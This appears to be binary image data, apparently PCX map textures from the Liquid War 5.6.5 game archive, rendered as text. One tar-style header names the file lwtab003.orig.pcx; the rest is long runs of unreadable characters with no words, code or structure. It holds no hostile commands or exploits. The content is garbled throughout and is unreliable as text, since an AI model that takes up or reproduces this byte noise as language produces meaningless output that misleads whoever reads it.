DH~[{!_U?fQFabUq`UlhKVk>Dr8^gg\f`ub\XDc3Fuk7KPTQg'a&D5C`;M;FO2FFtIk!dfaaZ$B8Em_.f=mBUBC5C;k~Ry{QX\}TnN}SvRLuRNnLQqWPr]Qv[Qn@PsTS:TTc9e2\4wF=}PJz?J7O/V$\{Vc^ZP$S0Z)J6V>Z=Z:S~=YToXnxPion]oukihQQzPQNQUQ^QTQ@QC`4W/\*a%bYydnalam[pbt,ko']o2jw>k_RsUriVi~doOvA{\6p6fYR9QxgTdT}ZevOfc[-eOQUYIoWCu&]bOVNgBQQKlVAxZ>KBIYa5D%F^at[%@)k*GAS|N]SjO]bMy@]R~[TrZWRe_oZaQQX*r,u}7sOUcvUkDL~Mv0z$ΉHhmg9mtOD}[ag9%Zub~L?^SmL~y{__Syo_quWbUmfyK{\IOG\!bLNMpw/b%sv)\x|Z)l4Rh*Pp%Tn$ZI%L2]?pE_tYEyuZufiUt~Sn|^hsYd|iau[{]EOEXHXEY=h3W8p?>LNGZ|9^x-Zz'`z&da%`&\ M%H4PD[DM|EBTgQj~WkmXim_hmVlufkhpcd[QqMQWQlJQyKQ^QPQu:QDX@^5`-Zz+`q$dlbs"hjii^i*[k;dqCptCbwAXL{L~|R|^SxUak_fT|vDz4d+`5d&V)xU1i6X9zEHFWrHUpCQn=Hq@>rb,^i$fl0bl,Yf YlsU:viMok>fk1l4h}EeNC[:WDV\RgNW8qo6o1}`:^J6gDm@@^a>]P?N:WuWLeS9g[JXl<^z7J;:EaDa}hK{Z``TxP{|dWrYpXTP3tWPY/ur>_*f}%k6`Ohc2gmroTTjfbQsaWj[^rk=qRP|J@e5n/LNRHhXOSH`QA_MJMa]\JQJ?~IVy3Mi)FnYg@\d]P_a:iGavtVs{Sgs_aB4?VciFIMIY3pt7bq>RGcg:oZGfLQl?+lo2FQJf=b5;8kc/}FXk`5dT9RaxG[4oABpIdb\I}a^StUXEYe2YhhYi2dhA:S(VYM|OG]mAv'c`;zSIv`>XPeJJ~!_4n>ii\hJx8Q^U/Ud'k2n=mC%w`SVVx{I\}>eViq^MPRhOr]@4.~Kub^y\F}NBcHh=U MMaM\@UL7yUbCM/Rej8+bQ!RP^;Z0iV:J\AJQsWk`Xf{jpcbmMq\Xc*|j!jzcgvGdOcAEDV7vPPdOP|hAUOc8j:TGv8TQOÍ ֖X|(X*JgigG`k&b]]RoNhSEs3s~G|RkM@7Xbfemsah~_MY;d@rge6VbEgNabPlP~dYd>q[T`X4Yai__kYraejUWPObPOaNl3xt1UO[QZ9\Q~M8LLQ.jxn]OkcQ}mN>2xy+q!p!cmNggChj?k_0op/i;iImopuYrqeolqeT=QVVt[A2G2G2[-bn7k]@ybBf<^;l6c4\8g:~Q;NCKRAY=j:h5j.o5XBRPVqYb\e^x]`V[`Te`Ue]EcSJ`_\ce\}[QRQfOQrcPs_QtPQp\O~]QSQ`O{N@PAVLOQCg=e9gi6k`0iigNi;n!bR4NcJH'w^@g;QzbNXOE5r6r#WP[OAAgx@do7e`MFbjoTiqlgQTj]{Y.Zr>FbogQ;Pj\sv>aZPR&yS7U.GMju3dMP:LufQcQhh-{,^q=s=VNU^t=VhOfi=^BmpUy\GmXY~/nmbCQ,MCT=ehLtYyVPU.GPMPSRPTK i_`v2x txT`s0zr8[_VMTOtp\SSV_Th|j_?Yl6^oehNd_jZ[iRwSnnXaF]}4it'Y6JJm!{}skAr:QjIc4ACxcCkVJiM[AXN>ER~E>|`jdkbf}XzMPEk[mfaXibVefNqlNqcKtwQVaGu_;|c7xZMt]NXsLlVISO4Q,Ppe9pONqJP}OHc?V4>3c7_A>KXQNMHV>W@g7my6fPnv[b\qWRln[]ZWTb]Fc^JdcDe]HleJi^Vs]U`Q_NQfNQjRQiLQlYQlTQfAI}g9^9rF;^>V@OKFIIWxBax:bNunq[rSihooQkgZoWZr@bq:chIlbUpPh7myvj&wP3wR7T6\9W>zB;b=]TF:^s@XwJrmgOSitATx^e[n6e^Ph`a\jPdhC5NFwaKJMNHKM_9]D~XGqt&e2b=A;h&z&%U8H]x:is8frRur^hcnPYigiOAi]oe6fjW tSZ"\4>OQLHh^MzpBeD~g]:,g5iLt)i)}w4_<}dQ=QUMyz]LQKPn]qTjJgivaNi`]m[nja8b_hJ~^O|?^sYqq0EQVhEneCV\E|bKMfPPROg![gKhWNSQcqKweMAOibNaNOzTJP>dYc}bcrhX]flwaWf[XM^n2sZe[bb\v`gOsh;_xMgV_cQ=MBo?TdtUs_nih_`qUOm_X`\VU`[;d^:dYLg_c_Yr>mu{x wT4}i4{]6Y6{gAt]BU?X=cCcNk=QxRQtLQzNMUCCbxmjcvpel{bpmXnS^p[naWmdXrhb^ecW``iR[_dja{TQf0Hz3d0U4u%Wt5Q~1h+.u/jwm^Q]MRg-qVjq_o2sXWvVOY3S^j!oz0m2~ wjAz%fz4b>YHOVG]:f@[cAnh\lf`Gem]e`^XQ6hVlBq`3NRvNk`jf=q=NXL`2{VK`^QqYBrPQy\D^Mc,QP]QePk?Qry2MMwY6Q**9_D́eIVNY ֓U$__Qurd>OQYoT`'IOZ,c+UN`*]IWD_3OO^JZ6VY`Wzl`du[]gVkhb{rZY`f3]f\eDOayZfzhhRf^Y\k=a(S0r1s8Wz,S},g+`0vy-PQTN`3Z*[GZKglb8[yJSO9aLO1uhe_Xg5]g0na6hjajea`djWlQ@u:oz.W@W9]JwY>mV9y[@tx%xz+qt]"Vz=XvC}XUpYi}\k{Q`ea~c_h`i]b:oV0=?O?VAJTEm8x5Z`$e*d)PYGYTKzm@d*V#[(a*b5SDVPTNTguUzzXzlRmiw`[KFI<~U8\0lkAty;tyBbpKcl_cfnjUWyNRBQd_ax\+{mMed/ig:feS[EZLP'\UJSQVUNNN`^OXOdOPr_=UZN[PscBXQ_Sgd^ebybfYeaOX4R=Zlgjf@TebgxIMc;c_L|Hg@XZWUMRHs$JPvUQpH]vBVCR8^0`/VCthDyL}dg7_zuReuum_eX~.k=U'+mFgS34.MXDlg;5[QQ\p-x_>ukAm4VO \EGsS)C]qu9dfLhmBa`YO^a[pqKS/mvb\x7ZuyYiaigJNLVJe.|jBbt̘t hDkRgIjy%^,)f1_7cCFȳI%/γ6h'ۑOBԍKGg`,ePN`R>e:WQ)a`RVrmVf~cNImcD<;Gjda`o83fnaVykZl:kpVayOu!hjAtI?:=WxlWPbmfx4e`irj?T]gehaKOKvf>LGBvyJdfih'[&\L]?}OOg!c$JKb8mZQPOQHb?T6tTD[iV[_m]\vZpa\ucJ{cVj_]P{L3ftVZvjcQTdsaVscWkjHc;qk3to8vs"w\#d't3g,fQ.hW0_JONLFkYEP:1MYJgbn^Zn^i^]gRkVdgdHeknVjoeZl`Wr^MfKXQIQSI[WNOPNS[Qi@m7~0{-ex7Q)k4Um@OkA\ijPrqUsw[qz_mtZ]jciMha0df0R8TAUBOPEf9m.p\ V%W'Vx3Y[Oq`HW9c,a*X+U-aQ4_:XNJQUQSQJPKPaKxKKmMP^gmSqs[e~eVif]kbSng^JT07RgYEbs"Z|(byc^fjl^dS{}5uw%h^R%5Q^EQnR4~tg {z^BauZ4c.c.,u/X?|4sБ`B0|qpvX`!o~e(t0zJQc>cIsHf;kQY)rkAW's{+_K;phd^NU9JHWJ}rV0cmmig0_vmjeYipndUf_mpfUQNQ[8bLP~YOaDl}$OMjBQPWWLuS%l`}2p,{dcV{]KtPb_]y\m`VIgjng];glZbbQGLtn;\>k`icpbkeMP\)Q`JdFSM]\"ROVFy0_[@e1|LQY\QyiaEsnF^]Xy`pk^kdQ}ckz_b.`:\vo`pUZtBVzrXkkFt^g`MSu4to1}.bENKZ1e/fJfr^#t|6Z2S*@joC.?_d@bmuZjmDwjPqr:XpfbrlUP*dt2Sqr_pfgOQPQyMNm_LRYQ]LQe=z~/}}*u?c-^aFWi:sa>ebfjqeRisYmz\le^f`lgD_l8ul2G(a6X=SG8e9}'it!U~i,^'S}*Ri;](`1Y)q)S/QrHPoOQiQQgVQ^gWkqTTiSXmY`mX_j]nkY_maem_\v__~EX{D[xQPqzbmMl7WExQ:_>a,S1W=Z;VCvNPjQlJPPPnO9|U,eS_pdFXVKc]|d]dHdfnakll`m`djkkIP@SOL^CAf7XCPC\?b1T$OQZQW9dy3u4Lt6kOPS9}PLq^gf}`TTiwaJd`m|[iiUOV>I8@Bi>VLi>AkQ]qaiIgQE_bOj8dRA~RQ\N{ROXBi7NJwQPuKMMNP5P{f:4fV`FM7}o?msZ[ogadZ>a~H_SHT_mX{\~MtcQwJN}^I~Q=F'ka=X|/y3s {/F|JH" r h R:t3Vn#~^GShXdTd t?!Sb%Fu3>1sdKZef@|hd[Ύ_qrNȥ@lj&G%مnTQLI&l%S/tbNl>f-p)U:LKlKQs,&ybVcjp^M~[fpiluic{iHjVjatTk]yg\IMaNWpi@{_Ej9XNaEO1weBj2mPIOr.X w[RPyWDzNOmQ:XhPc[keWRwVj`Tlh_gjUUpYRsHfe[zbea@eUwb}Hkrf8N?VPFCV0aH![,ZO^(gA}iJ0`w/Zpv\lx[L9Z;c>|PLMm|NEXGT7KBQIL@MJ~OZL[PX[Pda^e`]j]n~L/Y,k/l*e3m|0}l)Q;b6W=W?ZDWIrJPZNQpZhK`r_ci[Zhd^mbolcZokTppRsiVw]]}6SsAWwERoTef=OHSQ\P}DPJO\<[}LnfAvto+pQQzW@gFcBV2{PQyRANUM~Cg]rX~Kra>z[c}~Hnak]:jfafZwf[}RYVW[n\oX}bdmS|EQ|u9lGRV"cI[VNa5e z ʇ3syb y ^ M/z }/j#vcv1p=yMko~eJgkVfb}_d];TQU%\QXDq\IE+y>(6@)S#:.^`[lodj=qRsJPr\nbq^cJXs7thvYXY]jrCb CQ×݄V s3 Q n)_y |~ |pJ_Ts&GzhzUPaFTdtks@6>6ljdc d_0n|cEuFQcAyw=}(X|FPzn_aVodgq`wagtFr]]S\_?]qXgdob\,lnKgqEH>5o_imF%m?Qo5bQ]O0_Oo1MRPYLn>XGU.{JQgR9N^kNXmJsfY|ZzZSX_hHvYhuXc`_q8zcQ~_AjiZYiN|RsvPdiMEE\$VEJPjPNy&pgMMP~lEbn>R=cPPcLLKVMZ\ffY[emfozSz]PW\TnodfYRgNVvGbsI]q9qkZ6~tWyq[oQbr2k"t^@xu@qrGVMc0\:KPikGyePQ[]ccHfsHjhkvSofehPl`>gh[q_MSAd)I-PUVkq\gpYk@G:TMxUPnXIih9h0q,zt=xw=tx4lQLQe:xe6od6tKi_KmsGwhL|`^p]gWmIVsOjj6pf=Xz7[u\`mn`JzmG[>e/]r+o2t%y}-vw)|'~,su,\9Z;U)p#Y0RJ__A}`8\7UI|S@NOH`GW@ppYqmgfge[n^[@cDl=hK)X)v&p}&qy.l9i3{UA[:W6O^GSoZV`Xk7XwH\yi\blcADxY;p]FeHBHi3o Mh=Nl9z1s9z"u3V{\VaWd6bPbm\Zn?anYYohz3pdaiRx^IRXteelFWdG>npU`Oev-~RPZ8PKM6a9cOX'`G{Y@TDp"c|KI`Y]fQRP`\q^K_`^Ga`NQqQr^mlqbQj\jPboVoW~Yg^eddbPI0]u8ZFOOax"jHfQP/{.h:'pr [7 S1Y" i_4z&l=Dk|IDbtuu\zh:JQ~$k,SPUWQc|'Ŕ=4NT ffnmQhh^Ebjv`oe^5`l_J\1LN\kxzbs?QMOZp2p$\F#[TJ[!^KHI=>O7}?[xNr~W[M{R!;6خPԗXQFQ~O=%^9_>ZNhEY'hZF[2UQyRQYBc:Z1p`gG}VA:H{R^IZ]^|VkoQimr,@G95`U]EJYkM`7j}7z%MIo/\`KfP[2JNbXLc`Lgm?tkG\Un]_ag^hkYdknMjhrzbRXU}qmdTYdXnlU;^7[`gBf\pP~mRi_UYNlf?kPo]FP@b:UUQSP^4euQg-w}JGhv^\lFjVbB|jf|nD~Uf|aedVOki`UbuU\iriK;f\THPQMk#VKQdz-f+eb5m \d/\`[3R51 L.aBlWg\>`nodI`_teXog`[]]_`_Z[kV:l]j\`zbmtw^ajvKZ\pgpx|Ogej0HDFUsYj^^EckwjY\i\`RMINLgsOBdRPVQj7ZNenPhRNsTKsW8w[9hUPSBYMk[~]TPYf]Uvk]{;_ererZfar,Vr.z[bItfZ~]kx*lltTKH^QWe@dQZZZaOTJRHjQNuTOQO`YMF[oeyhdXr`_XtWr{]m>mZ,~k[]fRxXRvXk`p|\~b\wSDnO:lVVq;cmF\pv_k}^\je@fc9nkJZPgEvoxK;kAxXDvQQNPQPt\Cb*^]UHMFBCmodw}NPx[Rwd[vcSg0>3ce:[iv`jf?lQ~MI~Q(T[IS"V_R*KIsaO|UMzX5PQ~[;}VNsNPnRpe^qdlraYYGlgh]UqWtNtZifig`VeZd[XlJYoAejf!wMPzi)fVOa(fSP}VBW}Bg=X0NQSQY(M?ixWsg^Oa|P^d`Byd_^Ewbsv_4MkkJ^gOnT4uV|bjco[q8Qp?I=yUKLGTQUGJNCBbOoRON2t)U?tnD 1o4~!q e#yI$u/jUP4|uFrNEO-Lm>SB_3feFNLP@lFfqA``OE93O/!N Ād_xWk_ccln]JFmlFO]UD]rkejse\Lb^U]Pvp2`NOP>)I:'̘4w;Ty{p~UE2OCP/s9qIXqHhn|wRx{i@PQQJ~OjzKU{X0QQM^Dr\Qr*i[f z^(^7d!_NLOQIvZil^woiaVd[]qiVodkS]UiZpOijHVPe\XYkGXq[Vx>VWP_!T3k$V!F\PZ@a RNa,]]Qb7POJQQ6VtP_mngngkcgwL6`r}cUo]oKU]vo>>DXrfH|\[r^KznbZ%XG{t(QOzo2|d>j4aNS:f$]@tZ7PQV8w}6Ym^]g2to5[w^glTmbBn~XO8g_oTch<[TeaMgh]^8wh=UOU1R8`QQWX"p*[#VNSOeRPrY*[`i{KgZ4VFLPJPjWKzNPRcLhKw\qKlfFnZbLrYgXboA|WABNLqefd@xFL[I[UPmo6^Z8[9_mN[NT0ZA\5OTQlQNLPTEV^lwWnogaYwIZoVTq[BQFO@Y~Th]dbbnQ]n}c=\Tx7\^@fe5g||o$N|3rk:d9wS5VQ_YGQ;ZPQd+_GwHpbsvhOw]eiXwXUr]YTZanR{Y^A;U]pclgTq]oX]`o;Z;}aDlLQhMQ`2d5dpTI}aE`0@x(~8Wb/ڠ8^kn@kO_i2V1.LC/_5Ng]fPycS8XGdLQMt6`e}(}[QkI\z4~YQXBHZL 5G Dxddp^rZzNU]qv|Tfc4e\kUlfraLXFf`%ULHO4{}=w+XNvPxRƖDqUwYmjUm!LMo=D5u:F}oS3h;^Iz"0d4bZRppUSuvUFu[uHY[NRqsADA8@~QqlotaKybXblyDXQKV=\EgHb&^^GFYQn^LTPe&_'TQi[K]QTq>=R3KB@qhsWvZcsZeqcufhcYZG_^GfgZi\V}J`FnEdo2dr.t.9y-{h6po@h`Q{WPc\PYM`8^6\GYS_smXx]Xn9^j@dlQEK8R>qdqgZOobNkk\OToGXrgem_CNQC`,k$r6dq7o0]Ya^|q3eB`FsSW]HUySRqxefb\y^:zjDvnDh^Q]co^lqb]oycmtEzKR4k|Bq@~i6{y^0c-a/Y=zf:v^2~Z3a+UR`*{X-}Qsd^]_xW_{_apl]f[SbceLl`Da\iY\fZVsGM_+Z$x!w.UO^Kn{`VT{8NXZvTtST}mQSkd?VnzgKsk\^a]CdhWgmv`H[tTcYn4DObc"_`^JFO\6QJe4j[Mt]GXCTP|eVapmjC\KQjTG_?gQ\KN4]*`5oWB^0ZQb6UOg0lYR\eseQmPyBYsVan}[`tZcrb[QF:Ch[ocr_\Zl=YryHd*}k&QB[:hNpAxLQ_>wY8`/u"c:^Dv/WlL/ȫHMD>BiY_fF!mm=qwx_OKMJQW?hOUPsu5Z?RRNv~/|t9VO'9UR:XZ GDMPc]ol_q[TZWcp[xhd_k[Wor]qm[P\jn0\RIbh%^*sk?}8P=kV\mDt< ~& ˇ )7k4lDMj?mR ZnbjnSp+@XRq[Wd\eSibEQFv]0fc?T5PKQ^QLGZ'U+NGOQV7{oYXDJHI3\[_jaioVhlQ_s^Z^Vvo]s}TjZVJCKIN5N,is5S,_.]Z U{ul+hD]@`_UgbO_|bYppX`t\_xlP|j@jWX_vTYVodVmrVtajhKdKi(xu%{e;xd:wok+UA^2PORIQ>qd6*{@PNNZ5VKzPvW^z^ax`okZK\kYQ_f>WlLVo}Uc[oRjVWh%U8e?]f~3^Cj=m}1qmMpx:V-YJ`Gs]CSMahQrUUrvwT|[kwdhcQhQ`onUdlOeiOt]ckdh~p^aCQYIPvHQLPf,MKWSQh$wd=_cRP\>xZO]]ukYnZ{1mcbactRqhgjUeml^FGhq21<0|][]]}`Z^_T\GQK6GOHKc{%R~1eEjW(}hQQPWaPRPfWD`{EPbfoXVq__YudYt`p\Rg0qfmaHlY^ZRt`]_sV[b5oSGIQ|JQfQQOr3hIuy#}[>Y9]PPE[FuVOUFb<ҒB|.[_cA%kdDz9J&m1(VQ1HXisA_[v$FQf}'pv/XCsaCvxMNM`%sT@~RDV XH%@]QBAV[@ZkSZso[`vX]cX8b{]h[VqcTyWXK_V)S@{VQl5R%d2uQQrSD_9UAh)8nQ'h%f3r{>hj6eTWqj^rgbmZmp`c^R:O{[lYxVnZ]KNMp_OJ:x3WDoCPi)JXQ[ZLqfBW3NKj{CV@OoafSSsPZkF3t]k0rn]WC@9Zry[riS\yT|tZhq^DNPEbKM/XBsz=OCmcGRNKO"TBuX6k{q%T2RqaaQ=j[Is_iv`[0mcxjF7]p3]mr`Ye[oxTz[ar\tEXuT^QSNHTQXLlAQwZPtQPrRJf.c)u bx7THWCelhpW5WslScn]pc\hn`J]cQOPM}cU~Vmm\vhhzZuqYCKiO:py+*pYFKCe/XLcX1bYKY/W4VISGfe1cx_Tr?=43MOLCPhjk^^sOtrVx^SyL]zg}]vL`x8jMftAc`A2gQfu>cgQMXQiRNUQPQKQJP^CibEtp`9^r5Xl6LFQ;X0OtbkmWspTqvVnPpVuWyUp~CXHiMPFDVCf*_1mh2xt>Z[ YO:RFYCbRKfmH^Wf\dpb_s^]x\Wz^SimcAelKaxhW{|[|blne]z?pB,m.]Mt.X`>W2IPTQSOk1pzv|u :O?9P2LRnrkbrlRmxXsr]V^Z]bbjQ]r{T|RzWnGGSLVFP[bO[NG@w6j$sw-xcMu-aCrzZEds"^4PPVPG`GQEzt-}V0~[D]0b:oYum`M*/tW3rгݒ.n8'_lm^Y}T{idl\ks.Hg^HP7}YNr;DOd&d-LQW*QaFW Q 1?` [<(3`hjinNUVYJcfZnJmpnfgYr[Rnyfg=V|-aP7Ba[>v:^v2hv;m};SI|U5XCSK`Q]KFQsJN9`[pSbIm]gE_cmRey0XYp{ZwfbhwemNJ[~XHUt8DKv>gI?NL{uBc{5^PDjUVQLbHVJVLbPzMBY-ye3ygg^;Lh0DveombGZ)]qkWdpd_QJ~dJ~2gxN5d:diNZTYc9dP&_:qONlo9X4\r3j7bGwGQ~PDM2J99id\O[otfjmbNsYm[s{IbuNrO~^TskOwk53R9\=fmUSrFcqO=mOLe8KM~d%lg s3fLzFQvOCy~b2jj\gDc]ldVoqyJjbJ^Vp=5OJlcYRSoOs:b3YWDbs-mMRBDQLMmeOrZ&`:NPkjOelLLPN1~F`^rDWg=[pBNSOT9YwQ`[vjHmqjfeWjyMnw_dcBMz0^w<[)fHv8fZi6hv@va>`IkA[6m,p;b=[_B|]c^lGKMIU}NOIKBuiMbRzQLdxK~M{~N}o=_4=5f;fBVL]LKU@lv;p(x7er~$3aW6h3on5oCq:{^GS4*N8\TgZZqhPt}SmNimRsb[u{SEilL~]~u}i3]+bELVI`OSW4}INdLLcKl['UYQRIcJ\OKL`Q?ydoeWbjZgmcZj_mD9PhuTnFhsD:Z4YcAcqPZNMh5RId>zV:OQb*T?[0K2?W@3L0cqjV]jesD?pR`fXIm[L^I^J/VhU0$d^n5*[.^PnFSHEn3KMg8mPFq)E@nMyE~^ ]287fm_T]p?1evHal|YxXwOyZxgUUfQ2^Qa8+@k$f7[<45LP\oByKPS(d!fFmEPb@[MGPOh&rj8h6h_W2Fn[n`x\meOnUv_tJ0b^X@EUXs2ji4M+@v$fU4_+P;UKdAe_ eR8l*J4tSQBQR>UPQH`W_K8I1x]{sIV99cmpxdY]ldwoSl|:jx0jy7VW%\jWM/[8X1^HPMHK4R1WBz@aY'vLG|\GVN}NFpKfk=idkR[o4hkk]D{yLwZlS|;`fzlNma3hUT{2L,F$f@Er^*n8QwAnLY_#}p)tIQzhJAQa#cg>ZcPQLQa[RXhUt`]hayggR<^_XofQPegkpquTchTW>gG?[\U;Pm$jn3er&nk@r~,b.ZG^4S2h0J)[%KZ#[NpSMlaQwSJUVpgarr]lmo~ofdo{T>oO[LJUgLXG?VP*X5T(=)[:TT_UUQC\=[e:-W5||+ju&Y5cFsKQy`hJc\PkeM_[MncMWj|nhvfmYIi^]|RNqIU;=*Tr8ISgBni'}d-NCYXjP]kHQmVKgSGeCzb4~e5s4WQMGa]T_XIk^:}RPYssVohlC}O;fbUax1+0MW4ud/@8MGPZeJKiaBMFhEH:W6K7Y@ZaO\x5n\GJkqNPhWS`raZQxFQ~\]Of^ySYifRA^_EGx4>U2`\0V7LYEQV,TBojPks4TNK%HVP\2O=eQmiS35Zfev^etZbTribOtEi^zTJiFc3j7Om(NxJBpQA|3L7P|K`BdbAU8ZMPq+jh9_P[cdd9UGdYL3axbtf`\}cSoRbpzp^fSau`_Mr[mKV\L[X3^X5[$fF6(\.^POsr>a<_h@o'ytMlz/u3hf bQ M =4vUHTULdTgyNNCrxQD_0?+[(fwJ\b#JBsDL?9Yx0rMdLLy\;ZThWM%e6lTCwN,Nacs]mdh`yiLAWt\^bT?qcZb{NIpa\jNMLL>xL1*a%N.H XS42=ImBco5xv"fo;@hw7lfHL|j=MDc^WZYH>M]jI`u]vm\VFv>u3]%F]9`+Xzw2hx![})^oGG(MtH>&I!J/N.Vqf:tUUkIQHG[UYLgH~VKd=4hV<_no\P{_dwkX:YiVYoxUzrm_xVCZ9=xC2o3jmSErB2pK0W$DCDik-[OjOxRn|]q?MsXa?s_PTlF0lX=gXKgN.`Y3mYsZkg31YtHUvK[O,EOZUPQ^QfTQDTQGKHL3FF9DAMNT>8>WrhZzd{SZOG:G~-Oa:_b:aVT,N2/>=OCNF\JeGOpEQjFh<#]3jV>NHN[]bSgj[Wd_gWU[npOhX\]nb}BpFZ>C*1'\6a_LI\f!]d=(9R._q;cL`[6R5&t)iSQMPzANeLxhIddEYck[fgZpSivBw|LMKZJkSfJ\V5})](N#A#ZfZ,J73>=@?R\cKNmFQ[UVOaGVBSHdg"MwQ\ejSYbZme^NwPIpRsdWzXxk>TCNdC>P6v4Z6\x/B0Qp9N2Ub,`5OD;gI[LLCQiF!v-`BSCap#\UdCG=KSoc_@MkQob`}yS3}?vCOwZy#j(X"SmEL'R&Ies9@K=_VeHIDQ`bUY4dvkfDMzygZmZoYTgCii>]t/GJZq]bi}kibFm^mVblA{2W^n+1A9,!Z2NyUxb3r/]]J\dQ>EOZUe:f$SLS@TDFe`cieWhiC3nliheo_W`MeNf@jYf=vh7h[.H+VI'OYyFIuY21U]@^yP^XIJ~([:iVX/G .]OptadpJITTW>7j"`*UXIL~Bv.P S|Rme+8Qk(dr1V6+:gr,h{;MH]TS{1P:y}+vAP}X`xMSTJU94y\|iMBfwJT^3]b*UL9blBRT$;y@6 Em[6C-5&Iu)YKd?dFEJRy~4et3cYGki9D@OkX|`Qv\c}w`7{O~dZ}@cDIn/j\`14U0;X4Nf>T$E)\&c#R)Vp:ixPZwF[NRgKvj3K>LQqFEa&T2F^SqmknEyQ|jNWp8d}3dJ0S0P$]A)NoFR!>]!\f,`{"Vq=Hub@s,^>tcBk>P3HE[ONI},s`I.aB:jt{\Fjvsq>]?E;?q)]p5Z'IHIC@)NB]@>rCUur)_f*.NaIeF`A]Q>[=ePOeFPKQfBQum`\Xlj^^ch]uYWpl`dVMC]Je4dC*`v5[pNAYC5bK4_U3nS6aLAiUAUJUM6K='N9F>K>N8]LNMEMNPkAPgipRmTphbuLoKnvjla4rW9F_`X&q_3lZ,%?ZZr]m"Nd-Y/ZU(U:`A\GSNcz2T'VpkWv[YESlqtKYc>fmNH\BXR_5hFRDs2R fs.Dn;BULCAsU#-6'Z$Gd1TagCjz7iz5Y--Y-Tfo.fUAuTiUk]Qh;vf:hp|pdFTAbEz7XkBCV&g(Qs>9XR?)X`]vMJYKD*3e3Qg=`AVEGz&^F?T!RMAI4^bO _q|s m&$/fp^f'dQ'L ZM>ϩ!:3) `'|E{S2jqMKQXPAn_nbvQB5OfDu@ZIPDfw3wr]Fl|S\ck E ZX S85A2[ c b e*2mL|{2PA2=e-.JG:Q/v4|,rO0eH_]U\[qUՁAΝ..G[Ic?X&@ R1n@\XQ.yY)_RGQHXH'"KL?  O q+sJ!vjsPPdO~3hNDA4M5Qj(q4l8M?I/M0_]sSLrOwCHYJFYRH1p/m1w'lbjm] K<= ?H @ZU$T#Rh&+|\K0?%V8SL9ƅ<5;KMi,f8].zp;`L`XFg;z;&nMtPdePAm"dt)n.u"arpi'<LW ]d A=e ǁSY*{ "vR`eO5~FbQHNLDHDm/v7Z.z~2^SH(~D[}MnQw3b[׈W\pK[pq5^6R(HLg TBV[ \ \]N.QP9Z[]tke"ËKtfF~G{NeP 4PAZDxgUGpGem:*#~;Qӓ7r?Ezo~EQ(JLVSwq;FX)v`$SS ?N 0,N8_N!S _XulqoAƌ$!Yxqafy<1`QR\ OM5<;b'eY?ix ohz]9[6=.3CL-0;5v:U/y;S_1o.ǃEz[#}Q56yeq>XKqQ~C5E60sqYP~Gr~+x-ep;vb;hD%L SV+F8f UT.n c;?IW-fQPCDQ?A2&k,cAF7oi5dYM3tQz[EuQQ&P&Qppvt#u ߴG@gh`MA^1IƧF@.4b,|8}8RVA"*Ĥ&= 4HSnGQ"vaSWRyqx oqZ. TW H1C4><i ouq ى@xpWe?TPd+LJ}L&G6M0c8x.nmQ^\Bņ/%85xQSrNQWFP;DJZ^:ez?)ATCYg [ X: .]F.@/ beP űq&̑9}j4\'E<_Q. B3\U1c]jNJa5^g0^P܄CC-_M h bTpƍ œ*Щ ʝaIOwNxr:r5fʅ8iJۄPԡQ̼?Ƴ)PZuerYBO X'X(] LUeJ\5dhfi/?ȍ3+aeW9i9l;A#'&NA(_yM][W@^;MFKB%Eg2pFXOo3bVQ[Aܑ))ʏA\h-SdHuaU?J8?:X2Y-H\W-pSo0̰߭Ս?vy<#9HU SA U'=FaMPˋQ)HMMph_W8?o2p2|1q"v&~vD AFPWcjJ&D a$]*{ک kKArexEOUPIL61?5I(l1s@~6o^v6Öu3G!ޚ"HH?XcZ$ Uf&e-rAw{z dO R AS'65;8/;+6it nny kܢ7n_e^PY=5r NLC"c;tFa6wpn]Óؓ$@Jxi3Z/ [ g+v%|Vx\$^ VQ@'G&`F9XDM]y on >o`fNO)D4yII(C)]Q4_eGjfv3h)ZKː>3BMٮCH{aYjR .w"f,piwV T4";Y C H4.%k\ T4?(\ ߉; nՖJnVMzCV7Kw1&,IdC_KIMbUgk/Z7_N!ѝ<ǹ-mjKY|.u+si5aX*i,=liquidwar-5.6.5/data/maptex/lwtab003.orig.pcx0000664000372000037200000003256513407756104020372 0ustar travistravis c,, ! ! ! ! ! ! ! ! !"$"$!"$"!"$"!"$"!"! !$&()+)+)(&)('&'('&$&'()+)('&$'()()('&'('&$! $(+-./021010/.-././0/0.-,+,+)+,-./0/.-,+)('()+,-,+,-./.-,-.-,+,+)+)'$ !&+-/12357865654343453210/01/-,+,./01234543210/.,+)+-./010/.-./013210210/./0/.-.-,+)$! $(,/24567:;989:9878767654210/010-+-./0134567654210.-,+)+-/1234210/0123454323432123210/0/-)$! !$).145689:<;:;<;:9:98753210/.021.+()+,-./134567876431/.-,+-/1356543101234565434543234542101210.+$! !$).256789:<;:;:;:;:98753210/2/,'$()+,-./13456786531/.-,+,-.0135420/./123456543432345654212321.+&! !$).25678:9:98754210/231,'!"&)+-./1245676567875310/.-,+,-/1234565420.-,-.01356765432123245642123212320+'" $).24567898789876542020)$! "'),./01234565457875310/.-,+,-/245676531.,+,-/135678765431012456764323432123420,(" $)-13456787678987676531010,'! !$(+-/01234543457875210/.,+,.146787542/,+,-/245787654310/012356543454321230,(" "(-13456767898765456765310/-)$! "&),/02345434345786420/.-,+,/25786420-+,-.0246787654320/0123454565421231,(! "(-13234678987653212356765310/.+'" !$)+-023456543234568631/.-,+)+/2467876420.,+,-./12467654321023454567653231-(! "',232345678765310/0135653210/-+)$"$)+-/134565421234567898631/.-,+)+/2465420/.,+,-./12456543210124567654567643430,'" &+0232345678765420.-.0345654320.,+)()+./0234565421246789:986420.,+,/13454320/.-,.01343210135678765456765430,'! !&+/23456765431/-,.0245431/-,+,./0123456764323579:;:97531/-+,-/123210/./.-,+,.01210/./01357876543456765430+$ "'+/12345654320.,+-023454320./01235676543468:<=<;986420.-,-./010/./0/-+-/0/.-,+-./0146787643234676541+$! "(+.121234543210.,+-/1234542012467654579;=;9864310/././010.,+,./.-+)+-./14578753101246762,&! "(+.021234543210.,+-/12345421245676789;=;98643210/./01210.-,-.-+)+-/0245678987520/01356762,'! "(+.023234543210.-,.0123454321012323456789:;=<:975321010/./01210/.-+)()+,.0123467897520/0124567862-(" "(+.123454543210.-./121243210/01343456789:;<;:9853210/010/0123210/.-+)+,.010124689753101234567873-)$ "(,/1234565421/012321012320/013456789:;<;:9874210/0123210/.-,-010/./025787532345789874.)$ "(,/1234676421234310/0123210/-/02456789:;<=<;:9874210/023212343210/010/.-.035654543457985/)$ "(,/2346787876432345431/./123210/-./1356789:;<=<:987532101343210123432123210/.-,.134567654579:;950)$ "(,02346789878754565431/./13431/-/1356789;<=;:9876434323456543210123432310/.-,+-.023568987654579;<70)$ 